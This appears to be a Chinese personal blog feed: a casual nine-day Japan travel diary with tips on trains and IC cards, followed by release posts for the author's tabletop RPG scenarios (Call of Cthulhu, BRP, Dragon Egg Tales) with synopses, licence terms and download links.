入关的时候挺麻烦的, 要排很长的队录入指纹和人脸.

行李检查是概率性事件, 不过最好不要带肉制品和果蔬入境. ~~然而 cc 不小心带了一根双汇火腿肠, 我带了一盒肉松饼干~~

女朋友: (指着机场里面的行李检查犬) 拉布拉多, 好可爱.

我: 等它坐到你行李边上的时候就不可爱了.

进海关的时候同行的人最好排在一起, 这样万一遇上询问, 只要一个人回答就要行了.

到民宿放下行李之后, 晚上外出觅食. 凭着对大阪的刻板印象决定要吃章鱼烧和大阪烧, 街边随便找了一家店就进去了.

cc: 像我姥姥做的胡塌子.

没吃饱, 在民宿附近的便利店买了点便当.

Day 2 (大阪 USJ)

早饭吃了昨晚买到的传说中的炒面面包, 感觉主要就是吃炒面的调料味, 不如直接吃炒面. ~~碳水夹碳水有可能好吃, 但碳水夹碳水不太可能好吃.~~

一大早起来坐铁路到 USJ. 坐车不小心坐错方向了, 还好只坐了一站.

入园时间比较早(8:30), 不用抽任天堂园区的入场券. ~~任天堂就是世界的主宰~~

任天堂园区有很多可以交互的机关, 需要用到一个 NFC 手环(能量手环), 售价 JPY4900. 绑定手机上的 USJ APP 之后可以收集贴纸啥的 ~~开放世界游戏, 是原神~~, 园区里的几个项目有手环才能玩, 属于是游戏性 DLC 了.

没看项目介绍, 刚去就排上新开的咚奇刚的过山车(咚奇刚的疯狂矿车), 参考这个视频. 虽然以前没坐过过山车, 但是感觉还行, 下来后看手环上显示的心率也没咋变, 一直在 95 上下波动.

之后坐了个耀西的观览车(耀西冒险), 纯放松, 绕着整个园区转一圈.

最后玩了个马里奥赛车的项目(马里奥卡丁车), 差不多是 AR 射击 + 过山车? 排队大厅里面摆了马车8的奖杯, 装修整挺好. 遗憾的是当时不知道为啥, 我的手环没在车上扫上, 项目的贴纸没拿到.

逛完任天堂园区之后, 到哈利波特园区. 进门一个正在喷气的火车头和 9¾ 站台.

以及小镇. 厕所里面有神必的桃金娘语音(日语).

城堡里面有个项目(哈利波特的禁忌之旅), 参考这个视频, 排队的路在城堡里面, 用了很多声光效果, 说日语的分院帽和邓布利多属实有点生草. 虽然是过山车, 甚至包含 360° 旋转和天地倒转要素在, 但因为在室内 + 面前是一块超大的投影屏幕 + 座椅包裹感超强, 所以一点感觉都没有. 坐咚奇刚之后腿被吓软的女朋友表示"好玩, 能不能再玩一次".

3把扫帚餐厅整了个午饭, 本来以为差不多会是在日本吃的最贵的一顿饭(人均 ~CNY200). 黄油啤酒(无酒精)真挺好喝, 希望 cc 可以复刻出来.

最后到纽约园区看了个柯南的表演, 属于是看一集多一集了. 经典剧场版套路, 动作电影 + 八个弹, 最后柯南老祖靠阿笠博士的妙妙小工具解决.

女朋友: 这演员配音还挺像.

我: 除了园子剩下都是录好的.

女朋友: 我就说网上为啥都说园子的演员要休息.

以及

我: 咋样?

女朋友: 挺好的, 3D效果做的有点东西, 基德演员从天花板下来整挺好. 就是没字幕, 听不太懂.

我: 坏了, 我没意识到是日文.

女朋友: ?

回的有点晚, 便利店整点便当. 一盒便当里面海陆空三军齐活了, 经典全是肉没菜.

晚上在民宿二楼的和室小小团建了一下, 我和 cc 打牌(RR vs 破械刻魔双子), 其它两人在电视上看蜡笔小新...

我: 小新家还挺有钱, 东京一户建还有后院, 在国内高低是个北京二环内有房的京✌.

女朋友: 卧槽, 你别说, 还真是.

Day 3 (大阪)

前一天太累, 早上 10 点才起床.

坐电车去道顿堀和心斋桥那边, 在车站看到日本特色二次元电车涂装.

道顿堀和心斋桥就是俩商业街, 不想购物的话没啥好逛的. 不过有些店还真有点意思, 第一次见到各种口味的烟丝(巧克力味, 奶茶味, 牛奶味, 咖啡味, 水果味, etc.)和烟味的咖啡...~~丁真的电子烟的优势减少了, 王源最喜欢的一集.~~

不知道放啥照片了, 随便放个街景吧...

午饭吃了个食其家的牛(niú)肉(roù)丼饭. 目前吃到蔬菜最多的一集.

晚上去了大阪城天守阁, 去的有点晚, 已经不能上城楼了. ~~省下 JPY1000 的门票.~~

晚上在心斋桥吃了个一兰拉面, 人均 JPY1200 还吃的不是很饱, 为之后东京吃撑埋下了伏笔.

Day 4 (大阪🚆京都)

从大阪坐 1 小时电车到京都的民宿.

从民宿出发走 10 分钟就到伏见稻荷神社.

到了之后先恰顿饭, 吃了个鳗鱼饭(土井活鳗). 直接每人整了个一条极上, 在日本期间吃过最贵的饭, 人均 ~JPY6000.

看到价格的时候的我:

去伏见稻荷大社路上经过的河.

伏见稻荷大社正门.

伏见稻荷大社的舞殿, 在有祭典的时候会有巫女在上面跳舞. 来的不是时候, 早一两天或者晚一两天都能看到.

千本鸟居之后有一段路需要爬山, 果断放弃.

抽了个签, 感觉非常微妙...

晚饭又双是便利店的便当. 从收据来看, 在便利店买了 1 桶 2L 的矿泉水, 照烧鸡肉汉堡, 三色团子, 鸡蛋猪肉盖饭, 炒饭&炒面的拼盘, 照烧鸡肉块, 牛肉饼, 去皮苹果.

yysy, 日本的便利店是真吃不腻, 感觉菜色比 XDU 的食堂都丰富. 吃一吃罗森还能去711换换口味, 全家的饭不好吃.

Day 5 (京都)

因为同行的朋友有事, 于是我和女朋友两个人单独行动了. 按照计划上午二三年坂->清水寺->八坂神社.

二三年坂差不多是两条商业街, 主要卖当地的特产&小吃&旅游纪念品之类的. 二年坂路上的某个不知名的小神社:

去清水寺的一个比较重要的原因是圣地巡礼(名侦探柯南).

清水寺大门:

站在清水寺的舞台看到的差不多是这样的. 因为季节不太对, 看不到樱花有点可惜.

中间的位置就是名场面的舞台.

买御守的时候

女朋友: 那个身替守是什么?

我: 说是可以帮你抵挡一次灾难.

女朋友: 懂了, 不死图腾.

又一个小小的寺庙, 柱子上绑了一大堆彩色的沙袋, 上面写着愿望之类的. 一眼看过去全是中文. 门口的告示牌上写的是参拜(往赛钱箱里扔个 100 的硬币)后可以随意拍照, 说拍完照去扔个硬币, 后来也给忘了.

八阪神社, 门口是小吃一条街, 里面还有庙会. 随便买了点小零食, 吃了之后就找地方吃午饭了.

走到表参道路边看见一家回转寿司(寿司郎), 决定进去吃一顿, 和国内比较比较. 结果发现, 我这么多年在国内吃的都是什么垃圾... 大部分寿司的价格档位在JPY150/210/290, 相当于差不多 CNY7.5/10.5/14.5, 特别贵的会到 JPY300 ~ 440 左右. 两个人在点了不少高价寿司的情况下吃撑只花了 ~JPY3k.

之后在锦市场附近逛了一下午. 没拍什么照片, 借 cc 拍的一用.

晚饭又双叒是便利店的便当, 但是真的豪赤. 没拍照, 看收据上买了鸡蛋猪肉丼饭, 大份天妇罗荞麦泡面, 猪肉拉面, 豆皮寿司, 关东煮.

Day 6 (京都🚆三岛🚌富士河口湖)

又是大清早起来, 先去京都站坐新干线(Kodama)坐到三岛站, 再从三岛站坐急行巴士到富士山脚下的河口湖站.

买票的时候有点小巧思在里面, 看了巴士的行驶路线之后, 我专门选了几个靠近富士山的座位. 巴士后半程大约 30 分钟的车程里都能看到富士山.

巴士的一个经停站是山中湖, 也算是圣地巡礼过了(摇曳露营).

到河口湖车站之后, 步行 ~15mins 到了酒店(东横酒店). 到酒店才发现, 原来酒店有往返车站的免费摆渡车. 入住时间是下午 4 点, 先寄存了行李, 然后出门逛了.

在车站附近找了家挺有名的天妇罗店(冨士天妇罗いだ天), 点了两个推荐的套餐, 还行, 就是天妇罗红薯吃着有种过年的时候家里炸的红薯块的感觉.

本来打算坐巴士到本栖湖, 结果发现回程的巴士到下午5点就是末班车了, 赶不上的话就要坐 JPY1000/1KM 的出租车, 而且要坐 19KM. 遂放弃了, 只能在去本栖湖的路牌拍张照了, 下次再去日本的时候给富士五湖这边多安排几天时间吧.

走到河口湖附近准备租辆自行车, 结果还车时间都在下午5点左右, 我们租车的时候已经3点多了.

再走了一段遇到一个自助租赁电单车的店, 发现还车时间是晚上8点前, 于是打算租车. 但因为自助租赁机是老机子, 只认老版的 1k 纸币, 两人翻遍钱包发现只有 5k 的老版纸币. 就在我准备去周围商店换钱的, 正准备还车的两个游客直接把车给我们了, 听口音应该是台湾的.

于是我和女朋友就骑上白嫖来的自行车, 准备环绕河口湖一圈, 顺便去摇曳露营剧场版原型的露营地去看看. 路上经过了几个挺好看的地方.

然后就在我拍上面那张照片的附近, 我捡了个中国游客的钱包. 导航到附近的派出所交给警察了. 然后拿到了一张类似回执的单子和警察姐姐给的反光带, 说怕我们不熟悉路夜里骑车不安全. 确实亮, 夜里感觉我就是个移动光源, 回头率直接拉满.

晚上又双叒叕是便利店, 咖喱饭, 御好烧, 杏仁豆腐, 烧鸟串, 炸鸡.

Day 7 (富士河口湖🚌东京)

又是一大早起床, 在酒店里吃个免费的早餐, 坐急行巴士去东京了.

东京车站地下就是一个超大的商业街, 里面有个 Pokemon Center和一家三丽鸥的店.

顺便在车站吃了顿正经寿司, 我点了个午餐套餐, 女朋友点了个海鲜饭. 服务员看我们是外国人, 还专门问了句要不要芥末, 我直接多来点.

吃完饭去酒店存行李, 存完之后坐电车去浅草寺 & 雷门. 最近逛的神社和寺庙实在有点太多, 感觉也没什么新意了. 又抽了一次签, 依旧非常微妙... 买了几包仙贝, 当天打开辣味的尝了一下, 是真的辣, 就一块烤米饼上面洒满四川辣椒粉的味道. 后来回家了, 开了一包海苔味的, 挺好吃的.

发现附近全是外国游客, 几乎看不到几个日本人, 于是:

我: 浅草寺? 这烂怂浅(qiàn)草(cào)寺(si)有撒好看滴吗. 你看这外地人来咧多少看浅草寺呢.

在浅草寺也抽了个签, 一样挺微妙的... 除了我之外三个人似乎都抽到的凶签.

cc: 你说这庙会不会只有凶签.

我: 你别说, 这样你就会去买它的御守了.

然后直接杀向秋叶原. 酒店步行到秋叶原车站只有 12mins 的路程. ~~是从宿舍到教学楼的距离捏~~

酒店名字叫"Hotaku", 感觉或许是"Hotel Otaku"的缩写... 酒店休息室是这样的:

经典秋叶原大街 & 原神广告牌:

浅逛了一下秋叶原, 还是感觉BookOff这种二手店好逛.

晚上吃了个分量巨NM大的拉面. 两碗 JPY850 的拉面, 加了一份 JPY100 的豆芽和一份 JPY420 的煮五花肉, 直接给我俩吃撑了. 店里后厨和服务员都是华裔, 在我们对分量过多的面发呆的时候, 很尴尬地告诉我们点的确实有点多了.

女朋友: 哎卧槽, 日本人真坏(指一兰拉面). 还得是中国人.

我: 感觉老板得是东北人.

Day 8 (东京)

前几天太累了, 一觉睡到 10 点多才起来. 早饭随便吃了点面包和三明治就出门了.

坐电车到新宿和池袋逛了一圈. 车站上面的商场里面找了个猪排饭吃了一顿. 说是猪排饭, 其实也有牛和虾. 肉和饭还行, 但我和 cc 一致认为小菜里面最左边的酱海带豪赤.

还吃了家不太好吃的甜品咖啡. 天台能看到街景还行, 芭菲没啥味, 里面的饼干碎还行. 咖啡是真不行, 感觉不如雀巢三合一速溶. ~~哎卧槽,日本人真坏.~~

然后去了卡普空商店和宝可梦中心, 都在一个商场里面, 同一个商场还有少年Jump和任天堂的店. 稍微买了点宝可梦的周边.

某人终于变成了虾头太刀侠.

晚上脚磨得有点痛, 没和其它人一起再去秋叶原逛, 和女朋友去找关东煮的店, 结果到店门口了, 发现大部分东西都卖光了. 于是晚饭又是便利店解决.

Day 9 (东京✈上海✈西安)

早上 10 点退房, 把行李寄存到酒店, 出门分头行动了.

我和女朋友又回到了秋叶原站. 之前一直没想起来圣地巡礼(俺妹), 反正都在秋叶原了, 干脆顺便拍了几张. 圣地巡礼的时候用的地图是Anitabi Map.

JR 秋叶原站站前. 当时特别想高举双手大喊一声A↘ki→ha→ba→ra↗, 想了一下有点丢人, 算了.

Gamers 本店前. 店铺名牌上面的贴纸早就不知道换了多少次了.

GashaPon 会馆前. 之前的 GashaPon 会馆因为附近另外一个地理位置更好的扭蛋店的缘故, 店面面积变成之前的一半了. 店门头上面的广告牌也拆掉了.

中央通路去了, 但是忘记拍照了... 之后有机会再去趟千叶.

之前去秋叶原不知道为啥没去 Radio 会馆, 这天才想起来去. 然后里面正好有卖摇曳露营和铁路线联动的周边, 好像是有摇曳露营涂装的电车. 还有命运石之门的联动, 甚至有卖两瓶装的"選ばれし者の知的飲料"(Dr Pepper). 据说 Dr Pepper 这饮料在日本火起来就是因为石头门的缘故, 之前在大阪的自动售货机里买到一次之后就没见过了, 后来在东京倒是经常见到, 秋叶原甚至有只卖瓶装和罐装 Dr Pepper 两种饮料的自动售货机.

然后 4 点多的时候在酒店休息室会和之后就出发坐电车去机场了.

机场免税店的东西确实便宜, 大部分的烟都是 JPY4k 一条, 国内卖 CNY435 的清酒只要 JPY5k9, 卖 CNY181 的白色恋人饼干只要 JPY1k9, 卖 CNY50 的生巧只要 JPY500, 基本上都便宜 ~50%. 早知道就不提前买一堆东西了...

日本的铁路

最后专门写一下日本有点复杂的铁路系统.

JR 通票

首先是比较有名的 JR 通票.

这玩意儿我觉得如果不是打算从关西一路坐新干线到北海道, 或者从关西到东京再从东京到关西, 我觉得就没必要买全国通票. 至于关西通票或者关东通票, 由于不包含新干线车票, 更是鸡肋. 并且, 日本铁路的运营非常混乱, 除了 JR(Japan Railway)公司在全国范围运营的铁路线之外, 还有各个城市自营的铁路线, 甚至还有地方公司私营的铁路线. 用 JR 通票只能坐 JR 公司的铁路线, 其它线路还是要照常付钱.

从我这次去日本坐铁路的经验来看, 除了一些特殊线路(机场快线, 城间线路)之外, 铁路的价格基本在 JPY160 ~ 800 之间. 我玩下来一共给交通卡充了 JPY7500, 其中还有 JPY500 是卡的押金. 然后单买了巴士和新干线的车票.

车票

其次是电车买票的问题.

最好在机场买张交通卡, 关西地区会买到 ICOCA, 关东地区会买到 Suica, 两种卡在全日本都是通用的. 卡会有 JPY500 的押金, 如果想退卡的话, ICOCA 只能在关西的车站退, Suica 只能在关东的车站退.

如果是 iPhone 手机的话, 可以在手机自带的卡包里面添加一张日本的交通卡(Suica/ICOCA), 进出地铁站和自动售货机买东西直接刷 NFC 就行, 充值退卡也方便.

买票的话最好不要按照区间自己算多少钱, 直接在售票机选按站名自动计算就行. 买的票在进站的时候要用到, 记得放进闸机之后取走, 出站的时候还会用到一次. 票是一张细长的纸条, 不是宽的那张, 宽的那张是收据.

去哪儿坐车

然后是电车站台的问题.

日本的电车会有"某某方向"和"某某行"两种表示目的地的描述. 前者是当前线路的终点站, 后者是这班电车最终会到哪儿. 日本的电车会在多个线路上连续运行, 到达当前线路的终点站之后并不会像国内地铁那样停止运行, 而是会直接变成以前一条线路的终点站为起点的另外一条线路. 所以会出现谷歌地图上显示明明换了线路, 但实际上不需要换乘的情况.

此外, 日本的电车还有几种不同的类型: 各停(Local), 区间快速(Semi-Rapid) 以及特急(Rapid), 此外一些特殊线路还会出现一些奇怪的类型, 比如南海机场线会有一个 Alpha-Rapid, 但实质上还是特急. 这些电车只要运行方向相同, 走的线路就会完全相同, 只不过停靠的站点不一样. 各停会在全部站点停靠. 区间快速在某一段线路只停靠大站, 特急在全线路只停靠大站. 车站的电子显示牌上面会显示马上要到站\已经到站的电车的信息和下一班要到站的电车的信息.

每条线路的车站都会有比较清晰的线路图, 可以看到几种类型在哪些站点停靠. 或者可以在谷歌地图导航之后, 点线路时刻下面的"以及xx:xx(已安排) 发车 >"来查看全部可以坐的车的类型. 如果日文英文中文对不到一块儿，可以直接看站点的编号.

举个例子, 我导航一条从成田机场到民宿的公交方案, 其中有一段电车从人形町到小传马町, 谷歌地图根据现在的时间, 预估我应该坐 00:15 到站的电车. 一共有以下几个信息:

上车站叫人形町, 站点编号是 H14.
下车站叫小传马町, 站点编号是 H15.
这班电车会停到车站的2号站台(2番線).
这是一辆各停(Local)列车.
这辆车在经历若干次换线之后, 最终会开往竹之冢站.

我可以点击"以及05:14 (已安排) 发车 >"查看接下来时间里我可以乘坐的全部列车.

可以看到, 能乘坐的所有车都是各停(Local)类型的车, 不能坐区间快速和特急的车. 但由于不存在换线问题, 无论电车最终的目的地是哪里并不影响.

还有一点比较坑的是, 谷歌地图里面显示的颜色和车站导引表的颜色不一定一样, 最好看线路的图标.

【BRP剧本】一份礼物

Sat, 04 Nov 2023 00:00:00 GMT

剧本简介

适用于BRP规则。

以现代都市为背景的日常系故事。

如标题那样，这是送给我的朋友D.H.的生日礼物。

玩家角色（下文简称为PC）没有任何性别或年龄的限制，职业需要是某种在办公室中工作的职业。

该剧本也可以在稍作修改后衔接在任意BRP或其衍生规则的剧本之后进行游玩，而不需要对现有玩家角色卡进行修改。尤其是衔接在使用《克苏鲁的呼唤》规则的冒险之后时，或许《一份礼物》可以为习惯了恐怖和悬疑的玩家带来一些心灵上的治愈。

在《一份礼物》中，玩家不需要战斗、不需要进行复杂的推理；玩家需要做的就是通过与NPC的互动、观察身边“奇怪”的事情，从而想起“今天是自己的生日”这一件事情。

玩家在游戏中将扮演一位经常忘记自己生日的糊涂蛋，或许是因为工作繁忙或者疲于奔波，即使是如此重要的事情也被完全忘记——不过好在他的身边有不少善良的人默默地帮他记着这重要的日子。

如果需要两位玩家进行游戏，可以将游戏的模式设定为秘密团，并让另外一位玩家扮演剧本中的“同事A”。扮演“同事A”的玩家事先知道所有秘密（边栏中的内容）。

</details>

<details class="spoiler-details"><summary>一则虚假的游戏邀请</summary>

（假装是COC秘密团）

COC秘密团，背景现代中国，具体地点不限。

PC需要是某种在办公室里工作的职业（社畜），PC之间互相认识、在同一个办公室工作且关系比较好。

PC性别、年龄无限制。

PC需要有至少一个与自己同居的人作为PC的关键链接。

剧本内容偏日常系，正常情况下无战斗要素，以调查为主。

推荐技能：心理学、侦查及聆听。

</details>

下载地址

蓝奏云：https://masternoah.lanzouq.com/i3ro21drn59e

其它信息

本作品基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本的word文件
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本集】【古城事件簿】古城秘史

Fri, 03 Nov 2023 00:00:00 GMT

剧本集简介

适用于COC7th规则。
本剧本集包含了古城事件簿的后三篇剧本及三篇番外剧本。

欢迎再次来到古城市——一个沉淀着厚重历史而又在现代化进程中突飞猛进的城市。你将作为守秘人带领着一群调查员朋友，在这座城市再次展开冒险，并逐渐揭露关于古城市和隐修堂不为人所知的秘史。

《古城秘史》是一部面向于比较熟练的守秘人的剧本集，并且在剧本中附注了许多有助于守秘人在游戏中做出决策的带团提示。玩家则需要经历过若干冒险并已经对不可名状之物有所接触。玩家可以使用经历过其它剧本的调查员角色或使用全新的调查员角色，后者的情况下，建议玩家使用《克苏鲁的呼唤调查员手册》中的“调查员经历包”。

《古城秘史》原设定发生在中国。守密人也可以根据需要将故事背景修改为世界上任何一个国家，并将该剧本集的一篇或多篇剧本放入任何一个战役(建议修改NPC的姓名及地名以切合背景，并且不建议游戏中枪械的大规模使用)。

《古城秘史》共包含6个剧本：3个游玩时间约8-12小时不等的中篇剧本，推荐按照剧本集中的排序进行游玩；3个游玩时间约6-8小时不等的中短篇剧本，守秘人可以这些具有番外性质的剧本自由穿插在游戏中进行。

关于古城市

古城市是一座位于中国中部偏西的大城市，地处关中平原，面积约一万平方千米，常住人口约一千万人，城镇化率超过70%。古城市南边依靠古南山脉，北边濒临黄河，市内河流密集。

由于曾是数代王朝的都城，古城市有着丰厚的历史底蕴。除去遍布在城市的古建筑之外，古城市的地下不知埋藏着多少历史的遗物。

<details class="spoiler-details"><summary>剧本简介（剧透警告！）</summary> 《血水》——受到委托的调查员将前往古城市北部，并围绕着一栋古老的废弃教堂展开调查，寻找毫无征兆失踪的一家人。在调查的过程中，调查员将发现一个叫做“鲲鹏神教”的地下教团的蛛丝马迹，并因此卷入到一场阴谋之中。

《火焰交织的盛夏》——生活在古城市的调查员们将会遭遇到古城市有记载以来的历史最高气温——本该转凉的天气在随意游荡于城市的炎之精的影响下变得燥热。不过随着这些炎之精的自行离开，古城市的气温会恢复正常。但被召唤而蛰伏在地底的图尔兹查让一切变得更糟。

《穿越时空的旅行者》——调查员将遇到来自于遥远的未来的玄奘的投影。在他的指引下，调查员将通过隐修堂的领袖“智化德性大师”崔朴释放的“彼岸之旅”回到唐朝时的古城市，在一次一次的时空旅行中逐渐找到拯救古城市的危机的关键，并揭开发生在玄奘身上的离奇事件的真相。

《重返黑色校园》——调查员身为20世纪40年代的警察或政府职员。在听闻了古城福音中学关于学生频繁失踪的消息之后，调查员因为上级的派遣来到古城福音中学调查学生失踪一案。在调查中，他们将接触到禁忌的知识与令人理智丧失的邪恶信仰。

《早八要迟到了》——调查员们是每天早上8点就要上课的大学生。某日，来到教学楼附近的调查员发现几栋教学楼的门口居然都排起了长队，而此时距离上课只剩下几分钟了，马上就要迟到了！不怎么起眼的事情的背后，隐藏着的是意外来到古城科技大学地下的星之彩。

《奈落之蛹》——调查员将牵扯进一起绑架案的调查。绑架案的背后是夏盖妖虫控制了有着悲惨经历的少女绑架了一名学生，并打算用这两人孵化出夏盖。

</details>

更新历史

2023.11.03 初版

下载地址

蓝奏云：https://masternoah.lanzouq.com/i4NyB0rtki7c
展示材料电子版：https://masternoah.lanzouq.com/i3BNn0rho11g

其它信息

本剧本集基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本集用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本集
除个人使用之外印刷该剧本集

【COC剧本】露营一日的恐惧

Fri, 03 Nov 2023 00:00:00 GMT

剧本简介

适用于COC7版规则。

以现代中国背景的简短剧本（游玩时间约2-4小时）。

在《露营一日的恐惧》中，玩家玩家们将扮演一群热爱露营的户外玩家，在黄金周的周末参加由古城市的户外俱乐部“火手户外”组织的露营活动。在这场活动中，突发情况让所有人措手不及……

这个剧本写得非常随意，存在（未填坑内容）、（不太合理内容）以及（低神话内容）。

这个剧本诞生的逻辑是：周末要和朋友去露营 -> 朋友想玩桌游 -> 正好5个人里有4个人都是固桌的成员 -> 跑团！ -> 写一个和露营有关的剧本吧。

《露营一日的恐惧》适用于《克苏鲁的呼唤TRPG第七版规则书》，适合守秘人带领1至4名玩家游玩。在面对面的情况下，大约需要2至4小时来游玩整个剧本。

玩家们将扮演一群热爱露营的户外玩家，在黄金周的周末参加由古城市的户外俱乐部“火手户外”组织的露营活动。这场露营活动将持续一天时间，调查员们将驾驶汽车与“火手户外”俱乐部的6名成员在黄金周的第二天上午抵达目的地——位于古南山脉西侧的“柏台山”半山腰处的“柏欢原营地”——并在次日午饭过后返程。

不过，天有不测风云，一场突如其来的暴雨让这场露营不得不中途停止。严重的泥石流封锁了下山的唯一道路，在暴雨中，所有人能做的唯一的事情就是在恐惧中等待道路疏通。除了泥石流之外，暴雨还淹没了位于地底深处的食尸鬼的巢穴，厌恶光明的食尸鬼迫不得已来到了地面上，寻找栖身之处和食物——“柏欢原营地”正是万中无一的好去处。

</details>

下载地址

蓝奏云：https://masternoah.lanzouq.com/i531O1dmy9wh

其它信息

本作品基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本的word文件
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】无知的幸福

Wed, 01 Nov 2023 00:00:00 GMT

剧本简介

适用于COC7版规则。

以现代日本为背景的开放式美系剧本。

《无知的幸福》适用于《克苏鲁的呼唤TRPG第七版规则书》，适合守秘人带领2至4名玩家游玩。在面对面的情况下，大约需要8至10小时来游玩整个剧本。故事发生在2023年的日本，剧本中存在具体的时间，守秘人可以对其进行修改，但需要注意几个重要的时间节点。

在《无知的幸福》中，调查员们将以福冈县久留米市为舞台，遭遇到三起看似毫无关联的案件：三年前被报告失踪而不久前发现了受害人遗骨的新明纱叶遇害案、一位记者于几日前开始潜入调查之后杳无踪迹的西莲寺敬文失踪案，以及久留米市市长伊势户善一郎一家惨死于家中的伊势户一家谋杀案。

通过调查这三起发生在不同地点、不同时间的案件，调查员不仅可以尝试揭露隐藏在案件背后的真相，还可以揭示隐藏于市政府推出的“幸福计划”及天诚生物公司的地下研究室背后、由原生修格斯引起的神话事件。

</details>

下载地址

蓝奏云：https://masternoah.lanzouq.com/imbYY1dec7sb
展示材料电子版：https://masternoah.lanzouq.com/i0sHq1dec7ib

其它信息

本作品基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本的word文件
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【龙蛋物语剧本】马鹿的奇妙旅行/◯◯大陆的奇妙旅行剧本集！

Wed, 11 Oct 2023 00:00:00 GMT

马鹿大陆是一片广阔的大陆，人类、精灵、犬人和喵布林在这片大陆上和睦地生活在一起。

这里的绝大多数居民向往着和平，安心地居住着、旅行着。

然而近期不知道发生了什么变故，一些犬人和喵布林突然开始袭击人类、掠夺人类的村庄或在城市里喧闹。

统治整个马鹿大陆的“索菲亚王国”的国王向各地的村庄和城市颁发诏令，鼓励旅行者们踏上自己的旅途，并找到犬人和喵布林暴动的原因。

旅行者们的故事将从这里开始……

剧本集的 全新修订增补本 更名为《◯◯大陆的奇妙旅行》，现已登陆摩点平台众筹！

以往众筹的《龙蛋物语》简体中文版规则书、扩展、剧本及其他游戏配件也将一并开启新一轮众筹。

摩点页面: https://m.modian.com/project/152508.html

"作者手记"

这片大陆的故事是由旅行者和龙人书写的，◯◯是为你们留下的空白。

它也是一个三关谐音梗:

其形为「空」：两个圆圈，代表等待填充的未知大陆。

其音为「马鹿」(ばか, Baka)：日语中的“笨蛋”，一个笨拙作者的献礼，等待与你相遇。

其意为「呆萌」： “马鹿”本是一种神态憨厚、惹人喜爱的鹿，恰如这片大陆孕育的纯真与奇遇。

故事的笔，已交到你们手中。请为这片大陆，填上属于你的名字。

剧本集简介

适用于《龙蛋物语》TRPG规则
推荐人数：2-4人
剧本类型：战斗&探索
游戏时长：每章节大约6至8小时，共4章节

《马鹿的奇妙旅行》剧本集包含4个剧本，适合1位主持人带领2-4位玩家进行游戏。每个剧本大约需时为6-8小时，建议分为2-4节进行游玩。剧本集适合等级1的龙人与等级1的旅行者游玩。如果旅行者等级较高，请龙人对剧本中出现的魔物进行调整并适当地提升部分判定难度。

主持人可以将《马鹿的奇妙旅行》的全部4个剧本串联起来，当作一个很长的剧本使用，也可以单独取出其中的1个当作短剧本使用。如果要游玩全部的4个剧本，建议按照剧本在剧本集中的顺序游玩。如果因为某些原因不得不调整游玩的顺序，则建议龙人仅调整前3个剧本的顺序，而将 《不知爱的悲哀之龙》 安排在最后游玩。因为这是整个剧本集剧情的高潮部分，也对索菲亚的传说做出了解释。

无论按照何种游玩顺序，请先进行 《森之妖精与暴躁的犬人》 的“闪烁着诱人灯火的色托里城”这一章节，以便来自各地的旅行者们相识并得知王国目前遇到的危机。

更新历史

2025.11.11更新 - 剧本集开启众筹！
2023.10.12更新 - 修复了一处文字位移的排版错误
2023.10.11更新 - 剧本集完整版发布
2022.09.07更新 - 剧本集发布

作者的一些话

2022.09.07

第一次写了《龙蛋》的剧本，感觉还差的很多。平时玩了太多COC、写了太多COC剧本，导致写《○○的奇妙冒险》的时候也满脑子的COC元素，动不动就把"搜索判定"写成"侦查检定"，还差点写出来"话术"之类的东西。

写《龙蛋》的剧本给我的第一感受就是，平淡，包括带团的时候也是这样。和COC不同，龙蛋没有那么多的悬疑要素，也没有那么跌宕起伏的剧情；龙蛋的侧重点恰恰是很多TRPG规则会一笔带过的”旅途“。所以，把龙蛋的剧本写得有意思、把龙蛋得团带得有意思就变成了一个难题。

其次，在带过几个团之后，我意识到，果然要带好龙蛋，不能只靠主持人。最初的两个团里，我试图自己将一切都设定好：城市、文化、菜肴、景色……但是很快我就发现，自己的灵感已经消耗殆尽了。于是我开始诱导玩家自己添加一些设定，例如，其实剧本中的一些菜肴是玩家设定出来的。这其实也是《龙蛋物语》规则书的作者的本意：让玩家参与到世界的创造中。再后来，我干脆把之后剧本中会出现的城市全部列举了出来，然后创建了一个在线文档，我只为每个城市确定基调，其余的让玩家和我一起补充。这真的很有意思！

<details class="spoiler-details"><summary>共享文档的画风大概是这样的</summary> <img src="https://s2.loli.net/2022/09/07/SF8CZ76Vq1YvdoD.png" />

甚至在文档里可以聊天、听《Never Gonna Give You Up》、发癫 </details>

2023.10.11

终于填完坑了，松了一口气。

其实第四章早在半年多以前就写好了，但是一直不满意，删删改改到最后也不怎么满意。而且加上最开始的时候写的一些东西和后来的想法出入比较大，于是最终还是妥协了。对前面3个剧本也做了修正和小幅度的修改。

实际上想写的东西很多，但是各方面的压力还是比较大、也没有太多的精力用于写剧本了，再加上还有COC的坑没有填完，想着至少把整个剧本集完整的写出来再说。最后的结果就是，剧本集里除了4篇剧本之外，还多出来了几页的“断章”，大多数是我在写剧本的过程中想到、但是又没有精力写出来的点子。

